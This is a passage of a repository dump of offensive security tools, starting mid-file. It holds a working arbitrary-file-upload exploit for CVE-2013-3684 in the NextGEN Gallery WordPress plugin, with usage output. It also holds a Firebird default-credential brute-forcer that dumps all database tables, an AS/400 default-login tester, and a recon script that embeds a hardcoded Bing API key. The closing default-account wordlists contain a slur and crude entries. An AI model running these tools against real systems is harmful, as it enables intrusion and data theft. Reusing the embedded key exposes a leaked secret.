sslcert.der" 65 | with open('sslcert.der','wb') as f: 66 | f.write(binascii.unhexlify(dataSSLCert)) 67 | if os.path.exists('sslcert.der'): 68 | print "[+] Display details of SSL certificate" 69 | cmd="openssl x509 -inform DER -in sslcert.der -text" 70 | os.system(cmd) 71 | except AttributeError: 72 | pass 73 | #print packet.show() 74 | except IndexError: 75 | pass 76 | 77 | 78 | parser = optparse.OptionParser() 79 | parser.add_option('-i', action="store", dest="interfaceNo", help="Interface to sniff") 80 | options, remainder = parser.parse_args() 81 | if not options.interfaceNo: 82 | print "[-] Please use the -i option" 83 | sys.exit() 84 | interfaceNo=options.interfaceNo 85 | print "[*] Sniffing Packets on Interface: "+interfaceNo 86 | a=sniff(iface=interfaceNo,filter='ether proto 0x888e', prn=http_header , count=999, store=1) 87 | -------------------------------------------------------------------------------- /wordpress_exploits/readme.txt: -------------------------------------------------------------------------------- 1 | [The below example shows the help menu] 2 | -------------------------------------------------------------------------------------------------- 3 | python cve-2013-3684.py -i 127.0.0.1 -u /wordpress/wordpress -h 4 | usage: cve-2013-3684.py [-h] -i IP -u URI 5 | 6 | NextGEN Gallery 1.9.12 Arbitrary File Upload (CVE-2013-3684) 7 | optional arguments: 8 | -h, --help show this help message and exit 9 | -i IP, --ip IP IP address or host name 10 | -u URI, --uri URI URI path /wordpress 11 | -f FILE, --file FILE File to upload 12 | -------------------------------------------------------------------------------------------------- 13 | 14 | 15 | [The below example shows that NextGEN Gallery is found on host but attempt is successful] 16 | -------------------------------------------------------------------------------------------------- 17 | python cve-2013-3684.py -i 127.0.0.1 -u /wordpress/wordpress -f test.txt 18 | [*] Wordpress Plugin: NextGEN Gallery found 19 | [*] File has been uploaded successfully. Please check the below location 20 | 21 | ****************************************************************************** 22 | http://127.0.0.1/wordpress/wordpress/wp-content/[gallery_name]/file1.gif 23 | ****************************************************************************** 24 | -------------------------------------------------------------------------------------------------- 25 | 26 | 27 | -------------------------------------------------------------------------------------------------- 28 | [The below example shows that NextGEN Gallery is found on host but attempt is unsuccessful] 29 | 30 | python cve-2013-3684.py -i 127.0.0.1 -u /wordpress/wordpress -f test.txt 31 | [*] Wordpress Plugin: NextGEN Gallery found 32 | [*] Failed: NextGEN Gallery is not vulnerable or attempt has been blocked 33 | ****************************************************************************** 34 | (406, 'Not Acceptable', 'Not Acceptable!

Not Acceptable!

An appropriate representation of the requested resource could not be found on this server. This error was generated by Mod_Security.

') 35 | ****************************************************************************** 36 | -------------------------------------------------------------------------------------------------- 37 | 38 | 39 | -------------------------------------------------------------------------------------------------- 40 | [The below example shows that NextGEN Gallery is not found on host] 41 | 42 | python cve-2013-3684.py -i 127.0.0.1 -u /wordpress/wordpress1 43 | [*] Wordpress Plugin: NextGEN Gallery NOT found 44 | -------------------------------------------------------------------------------------------------- 45 | 46 | 47 | -------------------------------------------------------------------------------- /firebird/firebirdBrute.py: -------------------------------------------------------------------------------- 1 | try: 2 | import firebirdsql,sys 3 | except: 4 | print "Download pyfirebirdsql from https://github.com/nakagami/pyfirebirdsql.git" 5 | import argparse 6 | import sys 7 | 8 | def extractDB(database,ipAddr): 9 | con = firebirdsql.connect( 10 | host=ipAddr, database=database, 11 | user='sysdba', password='masterkey' 12 | ) 13 | cur = con.cursor() 14 | cur.execute("select rdb$relation_name from rdb$relations where rdb$view_blr is null and (rdb$system_flag is null or rdb$system_flag = 0);") 15 | results = cur.fetchall() 16 | print "\n- Found the below tables" 17 | for x in results: 18 | print x[0] 19 | 20 | for x in results: 21 | print "\n- Extracing the contents from the table: "+x[0] 22 | cur.execute("select * from "+x[0]+";") 23 | results = cur.fetchall() 24 | print results 25 | 26 | def connectFirebird(ipAddr,wordList): 27 | defaultDB="C:\\PROGRAM FILES\\FIREBIRD\\FIREBIRD_2_5\\EXAMPLES\\EMPBUILD\\EMPLOYEE.FDB" 28 | 29 | #Try getting list of connected databases without attempting any database name guess. 30 | con = firebirdsql.services.connect(host=ipAddr, user='sysdba', password='masterkey') 31 | results = con.getAttachedDatabaseNames() 32 | dbList=[] 33 | if len(results)>0: 34 | for x in results: 35 | if x!=defaultDB: 36 | #Remove the default database 37 | dbList.append(x) 38 | print "\n- Found the below connected databases" 39 | for x in dbList: 40 | print x 41 | for x in dbList: 42 | print "\n- Extracting contents from Firebird database: "+x 43 | extractDB(x,ipAddr) 44 | else: 45 | #Brutefoorce firebird databasess 46 | print "\n- Bruteforcing Firebird database names" 47 | dictList=[] 48 | with open(wordList) as f: 49 | dictList = f.read().splitlines() 50 | currentWord="" 51 | for word in dictList: 52 | currentWord=word 53 | try: 54 | con = firebirdsql.connect( 55 | host=ipAddr, database=word, 56 | user='sysdba', password='masterkey' 57 | ) 58 | print "Correct database name: "+word 59 | break 60 | except firebirdsql.OperationalError: 61 | print "Incorrect database name: "+word 62 | continue 63 | extractDB(currentWord,ipAddr) 64 | 65 | if __name__ == '__main__': 66 | print "This tool attempts to brute force the database names on the Firebird database server using the default credentials (sysdba|masterkey)" 67 | parser = argparse.ArgumentParser() 68 | parser.add_argument('-host', dest='ipAddr', action='store', help='[IP address of Firebird database server]') 69 | parser.add_argument('-wordlist', dest='wordList', action='store', help='[File containing list of database names to brute force]') 70 | 71 | if len(sys.argv)==1: 72 | parser.print_help() 73 | sys.exit(1) 74 | options = parser.parse_args() 75 | if options.ipAddr: 76 | connectFirebird(options.ipAddr,options.wordList) 77 | -------------------------------------------------------------------------------- /wordpress_exploits/cve-2013-3684.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # -*- coding: utf-8 -*- 3 | import httplib, mimetypes,urllib2 4 | 5 | 6 | def exists(url): 7 | try: 8 | r = urllib2.urlopen(url) 9 | except urllib2.URLError as e: 10 | r = e 11 | return r.code == 200 12 | 13 | def post_multipart(host, uri, fields, files): 14 | content_type, body = encode_multipart_formdata(fields, files) 15 | h = httplib.HTTPConnection(host) 16 | headers = { 17 | 'User-Agent': 'INSERT USERAGENTNAME', 18 | 'Content-Type': content_type 19 | } 20 | h.request('POST', uri, body, headers) 21 | res = h.getresponse() 22 | return res.status, res.reason, res.read() 23 | 24 | def encode_multipart_formdata(fields, files): 25 | """ 26 | fields is a sequence of (name, value) elements for regular form fields. 27 | files is a sequence of (name, filename, value) elements for data to be uploaded as files 28 | Return (content_type, body) ready for httplib.HTTP instance 29 | """ 30 | BOUNDARY = '----------bound@ry_$' 31 | CRLF = '\r\n' 32 | L = [] 33 | for (key, value) in fields: 34 | L.append('--' + BOUNDARY) 35 | L.append('Content-Disposition: form-data; name="%s"' % key) 36 | L.append('') 37 | L.append(value) 38 | for (key, filename, value) in files: 39 | L.append('--' + BOUNDARY) 40 | L.append('Content-Disposition: form-data; name="%s"; filename="%s"' % (key, filename)) 41 | L.append('Content-Type: image/gif') 42 | L.append('') 43 | L.append(value) 44 | L.append('--' + BOUNDARY + '--') 45 | L.append('') 46 | body = CRLF.join(L) 47 | content_type = 'multipart/form-data; boundary=%s' % BOUNDARY 48 | return content_type, body 49 | 50 | 51 | if __name__ == '__main__': 52 | import argparse 53 | parser = argparse.ArgumentParser(__file__) 54 | parser = argparse.ArgumentParser(description="NextGEN Gallery 1.9.12 Arbitrary File Upload (CVE-2013-3684)") 55 | parser.add_argument('-i','--ip', help='IP address or host name', required=True) 56 | parser.add_argument('-u','--uri', help='URI path /wordpress', required=True) 57 | parser.add_argument('-f','--file', help='File to upload', required=True) 58 | args = vars(parser.parse_args()) 59 | 60 | if args['ip']!=None and args['uri']!=None: 61 | uriPath = 'http://'+args['ip']+args['uri']+'/wp-content/plugins/nextgen-gallery/' 62 | if(exists(uriPath)): 63 | print "[*] Wordpress Plugin: NextGEN Gallery found" 64 | 65 | f = open(args['file'],"r") 66 | inputData = f.read() 67 | f.close() 68 | 69 | data = [('name','name'),('galleryselect','1')] 70 | file = [('Filedata','file1.gif',inputData)] 71 | if "?p=1&nggupload=" not in args['uri']: 72 | uri = args['uri']+"/?p=1&nggupload=" 73 | else: 74 | uri = args['uri'] 75 | response = post_multipart(args['ip'],uri,data,file) 76 | if response[0]==200: 77 | print "[*] File has been uploaded successfully. Please check the below location\n" 78 | print "******************************************************************************" 79 | print "http://"+args['ip']+uri.strip("?p=1&nggupload=")+"wp-content/[gallery_name]/file1.gif" 80 | print "******************************************************************************" 81 | else: 82 | print "[*] Wordpress Plugin: NextGEN Gallery NOT found" 83 | 84 | -------------------------------------------------------------------------------- /as400/CodePage.py: -------------------------------------------------------------------------------- 1 | """ 2 | CodePage 3 | Used to convert ascii to ebcdic and ebcdic to ascii 4 | Created by Kenneth J. Pouncey 2002-05-18 5 | Changed by Nate Custer - 2002-05-22 6 | Used some different data types to improve performance/memory usage. 7 | Used a dict (hash table) instead of a list for the lookup tables. 8 | The performance of a lookup is faster if you use a dict. Also; used a 9 | tuple instead of a list for the list at the start. Since tuples aren't 10 | mutable the python interpreter uses less memory to store them. 11 | Cleaned up by P. Bielen - 2002-05-23 12 | Managed a length of 75 characters at one line, to prevend a lot of 13 | editors to do a word-wrap. 14 | """ 15 | 16 | __all__ = ["CodePage"] 17 | 18 | # Tunable parameters 19 | DEBUGLEVEL = 0 20 | 21 | # Conversion table generated mechanically by Free `recode' 3.5 22 | # for sequence IBM037..ISO-8859-1 (reversible). */ 23 | 24 | codePage37 = ( 0, 1, 2, 3, 156, 9, 134, 127, 151, 141, 142, 11, \ 25 | 12, 13, 14, 15, 16, 17, 18, 19, 157, 133, 8, 135, \ 26 | 24, 25, 146, 143, 28, 29, 30, 31, 128, 129, 130, 131, \ 27 | 132, 10, 23, 27, 136, 137, 138, 139, 140, 5, 6, \ 28 | 7, 144, 145, 22, 147, 148, 149, 150, 4, 152, 153, 154, \ 29 | 155, 20, 21, 158, 26, 32, 160, 226, 228, 224, 225, 227, \ 30 | 229, 231, 241, 162, 46, 60, 40, 43, 124, 38, 233, 234, \ 31 | 235, 232, 237, 238, 239, 236, 223, 33, 36, 42, 41, \ 32 | 59, 172, 45, 47, 194, 196, 192, 193, 195, 197, 199, 209, \ 33 | 166, 44, 37, 95, 62, 63, 248, 201, 202, 203, 200, \ 34 | 205, 206, 207, 204, 96, 58, 35, 64, 39, 61, 34, \ 35 | 216, 97, 98, 99, 100, 101, 102, 103, 104, 105, 171, \ 36 | 187, 240, 253, 254, 177, 176, 106, 107, 108, 109, 110, \ 37 | 111, 112, 113, 114, 170, 186, 230, 184, 198, 164, 181, \ 38 | 126, 115, 116, 117, 118, 119, 120, 121, 122, 161, 191, \ 39 | 208, 221, 222, 174, 94, 163, 165, 183, 169, 167, 182, 188, \ 40 | 189, 190, 91, 93, 175, 168, 180, 215, 123, 65, 66, \ 41 | 67, 68, 69, 70, 71, 72, 73, 173, 244, 246, 242, 243, \ 42 | 245, 125, 74, 75, 76, 77, 78, 79, 80, 81, 82, 185, \ 43 | 251, 252, 249, 250, 255, 92, 247, 83, 84, 85, 86, 87, \ 44 | 88, 89, 90, 178, 212, 214, 210, 211, 213, 48, 49, 50, \ 45 | 51, 52, 53, 54, 55, 56, 57, 179, 219, 220, 217, 218, \ 46 | 159) 47 | 48 | class CodePage: #CodePage class. 49 | def __init__(self,codePage=None): #Constructor. 50 | if codePage: 51 | self.setCodePage(codePage) 52 | else: 53 | self.setCodePage(37) 54 | 55 | def setCodePage(self,codePage): 56 | self.ascii = {} 57 | self.ebcdic = {} 58 | if codePage == 37: 59 | cp = codePage37 60 | else: 61 | cp = codePage37 62 | cpi = 0 63 | while cpi < 256: 64 | self.ebcdic[cpi] = cp[cpi] 65 | self.ascii[cp[cpi]] = cpi 66 | cpi += 1 67 | 68 | def getEBCDIC (self,index): 69 | return self.ascii[index] 70 | 71 | def getEBCDICChar (self,index): 72 | return chr(self.ascii[index]) 73 | 74 | def getASCII (self,index): 75 | return self.ebcdic[index] 76 | 77 | def getASCIIChar (self,index): 78 | return chr(self.ebcdic[index]) 79 | 80 | def ebcdic2uni (self,index): 81 | return self.getASCIIChar(index) 82 | 83 | def uni2ebcdic (self,index): 84 | return self.getEBCDICChar(ord(index)) -------------------------------------------------------------------------------- /as400/testAS400.py: -------------------------------------------------------------------------------- 1 | import argparse 2 | import time 3 | import sys 4 | import Session 5 | import Screen5250 6 | import ScreenFields 7 | import CodePage 8 | from sys import argv 9 | __all__ = ["testsession"] 10 | myScreen = None 11 | foundText = "" 12 | class testsession: 13 | def __init__(self): 14 | self.first = 1 15 | self.USERID = None 16 | self.PASSWORD = None 17 | def outputScreen(self,initiator,startRow,startColumn,endRow,endColumn): 18 | """ 19 | Callable method to get screen updates 20 | """ 21 | #print 'ScreenUpdated - initiated from ',initiator, \ 22 | # ' Starting from -> ',startRow,endRow,' to -> ',endRow,endColumn 23 | if initiator == 0: ## 0 is from client and 1 is from host 24 | return 25 | # Note we only print the first 12 rows here 26 | indices = range(1,24) 27 | #for idx in indices: 28 | #print myScreen.getPlaneData(idx,1,idx,80,1) 29 | #print self.screen.getPlaneData(idx,1,80,2) 30 | fields = myScreen.getFields() 31 | if self.USERID == None or self.PASSWORD == None: 32 | self.USERID = raw_input("What's your username ? > ") 33 | self.PASSWORD = raw_input("What's your password ? > ") 34 | if self.first == 1: 35 | field = fields.getItem(0) 36 | field.setString(self.USERID) 37 | field = fields.getItem(1) 38 | field.setString(self.PASSWORD) 39 | #for field in fields: 40 | # print field.toString() 41 | # #print field.getText() 42 | 43 | #print fields.readFormatTable(0x42,CodePage.CodePage()) 44 | #print myScreen.getFields().readFormatTable(0x52,CodePage.CodePage()) 45 | # Note we only print the first 12 rows here 46 | indices = range(1,25) 47 | global foundText 48 | for idx in indices: 49 | output = myScreen.getPlaneData(idx,1,idx,80,1) 50 | if "does not exist" in output: 51 | foundText=output 52 | if "cannot sign on" in output: 53 | foundText=output 54 | if "No password associated" in output: 55 | foundText=output 56 | #if len(foundText.strip())>0: 57 | # print foundText 58 | #else: 59 | # print "It might be possible to login with ("+self.USERID+"|"+self.PASSWORD+")" 60 | #print myScreen.getPlaneData(idx,1,idx,80,1) 61 | 62 | #print 'number of fields',myScreen.getFields().getCount() 63 | if self.first < 7: 64 | myScreen.sendAidKey(0xF1) 65 | self.first += 1 66 | if __name__ == '__main__': 67 | parser = argparse.ArgumentParser() 68 | parser.add_argument('-i',dest='hostIP',action='store',help='[IP of AS/400 host]') 69 | parser.add_argument('-p',dest='portNo',action='store',help='[Port of AS/400 host]') 70 | options = parser.parse_args() 71 | 72 | if len(sys.argv)==1: 73 | parser.print_help() 74 | sys.exit() 75 | else: 76 | if options.hostIP and options.portNo: 77 | userList=[] 78 | userList.append(('QSECOFR','QSECOFR')) 79 | userList.append(('QPGWR','QPGWR')) 80 | userList.append(('QUSER','QUSER')) 81 | userList.append(('QSYSOFR','QSYSOFR')) 82 | userList.append(('QSRVBAS','QSRVBAS')) 83 | userList.append(('QSRV','QSRV')) 84 | userList.append(('QDFTOWN','QDFTOWN')) 85 | 86 | host = options.hostIP 87 | 88 | for user in userList: 89 | ts = testsession() 90 | ts.USERID = user[0] 91 | ts.PASSWORD = user[1] 92 | print "\n[*] Testing ("+user[0]+"|"+user[1]+")" 93 | session = Session.Session(host) 94 | session.setPort = options.portNo 95 | session.set_debuglevel(0) 96 | myScreen = session.getScreen() 97 | session.getScreen().add_screen_listener(ts.outputScreen) 98 | session.connect() 99 | time.sleep(2) 100 | if len(foundText.strip())>0: 101 | print foundText 102 | else: 103 | print "It might be possible to login with ("+user[0]+"|"+user[1]+")" 104 | 105 | session.disconnect() 106 | sys.exit() 107 | 108 | -------------------------------------------------------------------------------- /ip2domains.py: -------------------------------------------------------------------------------- 1 | import argparse 2 | import urllib2, socket,sys,base64,os 3 | from xml.dom.minidom import parse, parseString 4 | import socket 5 | from urlparse import urlparse 6 | import commands 7 | 8 | 9 | bingAPIKey = '40Mem6C6yp/FDmkBYaCtgEs7GdiNIGeod+n7T8ol2x0' 10 | 11 | def isOpen(ip,port): 12 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 13 | try: 14 | s.connect((ip, int(port))) 15 | s.shutdown(2) 16 | return True 17 | except: 18 | return False 19 | 20 | 21 | def RunCommand(fullCmd): 22 | try: 23 | #print fullCmd 24 | return commands.getoutput(fullCmd) 25 | except: 26 | return "Error executing command %s" %(fullCmd) 27 | 28 | 29 | def getIP(domain): 30 | try: 31 | return socket.gethostbyname(domain) 32 | except socket.gaierror: 33 | return "" 34 | def getSSLcertname(ip): 35 | fullCmd = "nmap --script=ssl-cert -p 443 "+ip 36 | results = RunCommand(fullCmd) 37 | resultsList = results.split("\n") 38 | for line in resultsList: 39 | if "| ssl-cert: Subject: commonName=" in line and "*." not in line: 40 | hostName = line.replace("| ssl-cert: Subject: commonName=","").split("/")[0] 41 | hostName = hostName.strip() 42 | if hostName: 43 | return hostName 44 | 45 | def reverseBing(ip): 46 | sites = [] 47 | skip = 0 48 | top = 100 49 | port = 443 50 | if isOpen(ip,port): 51 | if getSSLcertname(ip): 52 | sites.append(getSSLcertname(ip)) 53 | while skip < 200: 54 | try: 55 | url = "https://api.datamarket.azure.com/Data.ashx/Bing/Search/v1/Web?Query='ip:%s'&$top=%s&$skip=%s&$format=Atom"%(ip,top,skip) 56 | request = urllib2.Request(url) 57 | auth = base64.encodestring("%s:%s" % (bingAPIKey, bingAPIKey)).replace("\n", "") 58 | request.add_header("Authorization", "Basic %s" % auth) 59 | res = urllib2.urlopen(request) 60 | data = res.read() 61 | 62 | xmldoc = parseString(data) 63 | site_list = xmldoc.getElementsByTagName('d:Url') 64 | for site in site_list: 65 | domain = site.childNodes[0].nodeValue 66 | domain = domain.split("/")[2] 67 | tmpDomain = domain 68 | if ":" in domain: 69 | domain = domain.split(":")[0] 70 | if tmpDomain not in sites: 71 | siteIP = getIP(domain) 72 | if ip not in sites: 73 | #if ip!=siteIP: 74 | # sites.append(ip) 75 | if ip==siteIP: 76 | sites.append(tmpDomain) 77 | except urllib2.URLError: 78 | continue 79 | skip += 50 80 | return sites 81 | 82 | parser = argparse.ArgumentParser(description='IP to DNS Name') 83 | parser.add_argument('-host', help='Enter an IP address or Domain name') 84 | parser.add_argument('-file', help='File containing list of IP addresses') 85 | args = parser.parse_args() 86 | if args.host==None and args.file==None: 87 | print "\n[!] Please run 'python "+sys.argv[0]+" -h'\n" 88 | sys.exit() 89 | else: 90 | if args.file: 91 | filename = args.file 92 | ipList = [] 93 | with open(filename) as f: 94 | ipList = f.read().splitlines() 95 | for host in ipList: 96 | tmpHost = host 97 | if "http" in tmpHost or "https" in tmpHost: 98 | parse_object = urlparse(tmpHost) 99 | fqdn = str(parse_object.hostname) 100 | tmpHost = fqdn 101 | if any(c.isalpha() for c in tmpHost)==False: 102 | if len(bingAPIKey)<1: 103 | sys.exit("[!] Please check your bingAPIKey !") 104 | sites = reverseBing(tmpHost) 105 | if sites: 106 | for site in sites: 107 | if site!=None: 108 | print tmpHost+"\t"+site 109 | else: 110 | print tmpHost 111 | else: 112 | print tmpHost 113 | elif args.host: 114 | tmpHost = args.host 115 | if "http" in tmpHost or "https" in tmpHost: 116 | parse_object = urlparse(tmpHost) 117 | fqdn = str(parse_object.hostname) 118 | tmpHost = fqdn 119 | if any(c.isalpha() for c in tmpHost)==False: 120 | if len(bingAPIKey)<1: 121 | sys.exit("[!] Please check your bingAPIKey !") 122 | sites = reverseBing(tmpHost) 123 | for site in sites: 124 | print tmpHost+"\t"+site 125 | -------------------------------------------------------------------------------- /default_accounts_wordlist/passwords.txt: -------------------------------------------------------------------------------- 1 | 100198 2 | 1064 3 | 11111111 4 | 12345 5 | 123456 6 | 1RRWTTOOI 7 | 2222 8 | 22222222 9 | 31994 10 | 3ep5w2u 11 | 4Dgifts 12 | 4tas 13 | 744 14 | ACCESS 15 | ADMIN 16 | ALLIN1 17 | ALLIN1MAIL 18 | ALLINONE 19 | APPLSYS 20 | ARCHIVIST 21 | AUTORAID 22 | Administrator 23 | Asante 24 | Ascend 25 | BACKUP 26 | BATCH 27 | CAROLIAN 28 | CCC 29 | CHANGE_ON_INSTALL 30 | CHEY_ARCHSVR 31 | CNAS 32 | COGNOS 33 | CONV 34 | Cisco router 35 | DCL 36 | DECMAIL 37 | DECNET 38 | DEFAULT 39 | DEMO 40 | DIGITAL 41 | DISC 42 | DISCAR 43 | FAX 44 | FAXUSER 45 | FAXWORKS 46 | FIELD 47 | FIELD.SUPPORT 48 | GATEWAY 49 | GUEST 50 | GUESTGUE 51 | GUESTGUEST 52 | Guest 53 | HARRIS 54 | HELP 55 | HELPDESK 56 | HOST 57 | HP 58 | HPDESK 59 | HPLASER 60 | HPOFFICE 61 | HPOFFICE DATA 62 | HPONLY 63 | HPP187 64 | HPP187 SYS 65 | HPP189 66 | HPP196 67 | HPWORD PUB 68 | INFO 69 | INGRES 70 | INTX3 71 | INVALID 72 | ITF3000 73 | Intel 74 | LASER 75 | LASERWRITER 76 | LINK 77 | LOTUS 78 | MAIL 79 | MAILER 80 | MANAGER 81 | MANAGER.SYS 82 | MBMANAGER 83 | MBWATCH 84 | MGR 85 | MGR.SYS 86 | MPE 87 | MTYSYS 88 | Mau dib 89 | NETBASE 90 | NETCON 91 | NETFRAME 92 | NETMGR 93 | NETNONPRIV 94 | NETPRIV 95 | NETSERVER 96 | NEWINGRES 97 | NEWS 98 | NF 99 | NFI 100 | NICONEX 101 | NONPRIV 102 | NeXT 103 | No 104 | OP.OPERATOR 105 | OPERATOR 106 | OPERVAX 107 | PASSWORD 108 | PDP11 109 | PDP8 110 | PO8 111 | POST 112 | POSTMASTER 113 | PRINT 114 | PRINTER 115 | PRIV 116 | REGO 117 | REMOTE 118 | REPORT 119 | RJE 120 | ROBELLE 121 | ROOT 122 | RSX 123 | SABRE 124 | SECURITY 125 | SERVICE 126 | SQL 127 | STUDENT 128 | SUPERVISOR 129 | SUPPORT 130 | SYS 131 | SYSLIB 132 | SYSMAINT 133 | SYSTEM 134 | SYSTEST 135 | SYSTEST_CLIG 136 | SY_MB 137 | Sysop 138 | TCH 139 | TELEDEMO 140 | TELESUP 141 | TEST 142 | TIGER 143 | TRACE 144 | TSEUG 145 | UETP 146 | USER 147 | USERP 148 | USER_TEMPLATE 149 | User 150 | VAX 151 | VESOFT 152 | VMS 153 | WANGTEK 154 | WINDOWS_PASSTHRU 155 | WINSABRE 156 | WORD 157 | XLSERVER 158 | ____BLANK___ 159 | abc123 160 | access 161 | accounting 162 | adm 163 | admin 164 | admin1 165 | adminttd 166 | admn 167 | anon 168 | ascend 169 | atc456 170 | attack 171 | autocad 172 | bbs 173 | bciimpw 174 | bcimpw 175 | bcmspw 176 | bcnaspw 177 | bin 178 | bintec 179 | biodata 180 | bloggs 181 | bluepw 182 | boss 183 | browsepw 184 | c 185 | cascade 186 | cc 187 | ccrusr 188 | changeme 189 | checkfs 190 | checkfsys 191 | checksys 192 | cisco 193 | comcomcom 194 | craft 195 | craftpw 196 | custpw 197 | daemon 198 | danger 199 | default 200 | demos 201 | dhrhdhhhh 202 | dni 203 | enquirypw 204 | enter 205 | fal 206 | fax 207 | field 208 | file 209 | ftp 210 | games 211 | ganteng 212 | gen1 213 | gen2 214 | gopher 215 | guest 216 | guest1 217 | guestgue 218 | halt 219 | hello 220 | help 221 | hp 222 | ibmcel 223 | inads 224 | indspw 225 | initpw 226 | install 227 | james 228 | javascript faggots 229 | kahn 230 | kilo1987 231 | l2 232 | l3 233 | lineprin 234 | locatepw 235 | looker 236 | lp 237 | lpadm 238 | lpadmin 239 | lucenttech1 240 | lucenttech2 241 | lynx 242 | m1122 243 | mail 244 | maint 245 | maintain 246 | maintpw 247 | man 248 | manager 249 | managers 250 | master 251 | masterkey 252 | me 253 | mediator 254 | mfd 255 | mlusr 256 | mountfs 257 | mountfsys 258 | mountsys 259 | my_DEMARC 260 | ncrm 261 | netlink 262 | news 263 | nmspw 264 | nobody 265 | nokia 266 | none 267 | ntacdmax 268 | oem_temp 269 | operator 270 | pakistan 271 | password 272 | passwordguy 273 | patrol 274 | plsdontguess 275 | postmast 276 | powerdown 277 | prime 278 | primenet 279 | primeos 280 | primos 281 | private 282 | qpgmr 283 | qsecofr 284 | qserv 285 | qsrv 286 | qsrvbas 287 | qsvr 288 | qsysopr 289 | quser 290 | rainbow 291 | rcustpw 292 | replicator 293 | rje 294 | rmnetlm 295 | ro 296 | rw 297 | rwa 298 | rwmaint 299 | sa 300 | sasasa 301 | secoff 302 | secofr 303 | service 304 | shutdown 305 | signa 306 | software 307 | specialist 308 | speedxess 309 | supervisor 310 | support 311 | supportpw 312 | symantec 313 | sync 314 | sys 315 | sysadm 316 | sysadmin 317 | sysbin 318 | syslib 319 | system 320 | system_admin 321 | tele 322 | tellabs#1 323 | tetra 324 | tour 325 | trouble 326 | tutor 327 | uClinux 328 | umountfs 329 | umountfsys 330 | umountsys 331 | unix 332 | utstar 333 | uucp 334 | uucpadm 335 | web 336 | webmaster 337 | www 338 | xxyyzz 339 | year2000 340 | -------------------------------------------------------------------------------- /default_accounts_wordlist/users.txt: -------------------------------------------------------------------------------- 1 | $ALOC$ 2 | 1 3 | 1.1 4 | 11111111 5 | 1234567890 6 | 2 7 | 22222222 8 | 30 9 | 31994 10 | 4Dgifts 11 | 5 12 | 7 13 | ADMIN 14 | ADMN 15 | ADVMAIL 16 | ALLIN1 17 | ALLIN1MAIL 18 | ALLINONE 19 | AP2SVP 20 | APL2PP 21 | APPLSYS 22 | ARCHIVIST 23 | AURORA@ORB@UNAUTHENTICATED 24 | AUTOLOG1 25 | Admin 26 | Administrator 27 | Any 28 | BACKUP 29 | BATCH 30 | BATCH1 31 | BATCH2 32 | CCC 33 | CHEY_ARCHSVR 34 | CMSBATCH 35 | CMSUSER 36 | CPNUC 37 | CPRM 38 | CSPUSER 39 | CTXSYS 40 | CVIEW 41 | DATAMOVE 42 | DBA 43 | DCL 44 | DECMAIL 45 | DECNET 46 | DEFAULT 47 | DEMO 48 | DEMO1 49 | DEMO2 50 | DEMO3 51 | DEMO4 52 | DIRECT 53 | DIRMAINT 54 | DISKCNT 55 | EREP 56 | Ezsetup 57 | FAX 58 | FAXUSER 59 | FAXWORKS 60 | FIELD 61 | FSFADMIN 62 | FSFTASK1 63 | FSFTASK2 64 | GATEWAY 65 | GCS 66 | GEN1 67 | GEN2 68 | GUEST 69 | Guest 70 | HELLO 71 | HELP 72 | HELPDESK 73 | HOST 74 | HPLASER 75 | IDMS 76 | IDMSSE 77 | IIPS 78 | INFO 79 | INGRES 80 | IPFSERV 81 | ISPVM 82 | IS_$hostname 83 | IVPM1 84 | IVPM2 85 | IntraStack 86 | IntraSwitch 87 | LASER 88 | LASERWRITER 89 | LIBRARY 90 | LINK 91 | LessonUser1 92 | LessonUser2 93 | MAIL 94 | MAILER 95 | MAINT 96 | MANAGER 97 | MBMANAGER 98 | MBWATCH 99 | MCVEADMIN 100 | MGE 101 | MGR 102 | MICRO 103 | MOESERV 104 | MTYSYS 105 | N/A 106 | NETCON 107 | NETMGR 108 | NETNONPRIV 109 | NETPRIV 110 | NETSERVER 111 | NEVIEW 112 | NEWINGRES 113 | NEWS 114 | NICONEX 115 | OLTSEP 116 | OP1 117 | OPERATNS 118 | OPERATOR 119 | OPERVAX 120 | OutOfBox 121 | PCUSER 122 | PDMREMI 123 | PDP11 124 | PDP8 125 | PENG 126 | PO8 127 | POST 128 | POSTMASTER 129 | PRINT 130 | PRINTER 131 | PRIV 132 | PROCAL 133 | PRODBM 134 | PROMAIL 135 | PSFMAINT 136 | PVM 137 | RDM470 138 | REPORT 139 | RJE 140 | RMUser1 141 | ROOT 142 | ROUTER 143 | RSBCMON 144 | RSCS 145 | RSCSV2 146 | SABRE 147 | SAVSYS 148 | SCOTT 149 | SETUP 150 | SFCMI 151 | SFCNTRL 152 | SMART 153 | SPOOLMAN 154 | SQLDBA 155 | SQLUSER 156 | STUDENT 157 | SUPERVISOR 158 | SYS 159 | SYSADM 160 | SYSADMIN 161 | SYSCKP 162 | SYSDBA 163 | SYSDUMP1 164 | SYSERR 165 | SYSMAINT 166 | SYSMAN 167 | SYSTEM 168 | SYSTEST 169 | SYSTEST_CLIG 170 | SYSWRM 171 | Sysop 172 | TDISK 173 | TELEDEMO 174 | TEMP 175 | TEST 176 | TRACESRV 177 | TSAFVM 178 | UETP 179 | USER 180 | USERP 181 | USER_TEMPLATE 182 | User 183 | VASTEST 184 | VAX 185 | VM3812 186 | VMARCH 187 | VMASMON 188 | VMASSYS 189 | VMBACKUP 190 | VMBSYSAD 191 | VMMAP 192 | VMS 193 | VMTAPE 194 | VMTLIBR 195 | VMUTIL 196 | VSEIPO 197 | VSEMAINT 198 | VSEMAN 199 | VTAM 200 | VTAMUSER 201 | WANGTEK 202 | WINDOWS_PASSTHRU 203 | WINSABRE 204 | WP 205 | accounting 206 | adm 207 | admin 208 | admin2 209 | administrator 210 | adminstrator 211 | adminttd 212 | ami 213 | anon 214 | autocad 215 | bbs 216 | bciim 217 | bcim 218 | bcms 219 | bcnas 220 | bin 221 | blue 222 | boss 223 | browse 224 | ccrusr 225 | checkfs 226 | checkfsys 227 | checksys 228 | cisco 229 | config 230 | craft 231 | cust 232 | daemon 233 | demo 234 | demos 235 | deskalt 236 | deskman 237 | desknorm 238 | deskres 239 | diag 240 | disttech 241 | dni 242 | drhhdrhhd 243 | enable 244 | enquiry 245 | fal 246 | fax 247 | field 248 | file 249 | ftp 250 | ftp_admi 251 | fucking 252 | games 253 | gonzo 254 | gopher 255 | gropher 256 | guest 257 | guest1 258 | halt 259 | handsome_123_handsome 260 | ibm 261 | inads 262 | init 263 | install 264 | intelligent_guy_priyank 265 | james 266 | khan 267 | l2 268 | l3 269 | locate 270 | lp 271 | lpadm 272 | lpadmin 273 | lynx 274 | m1122 275 | mail 276 | maint 277 | man 278 | manager 279 | managers 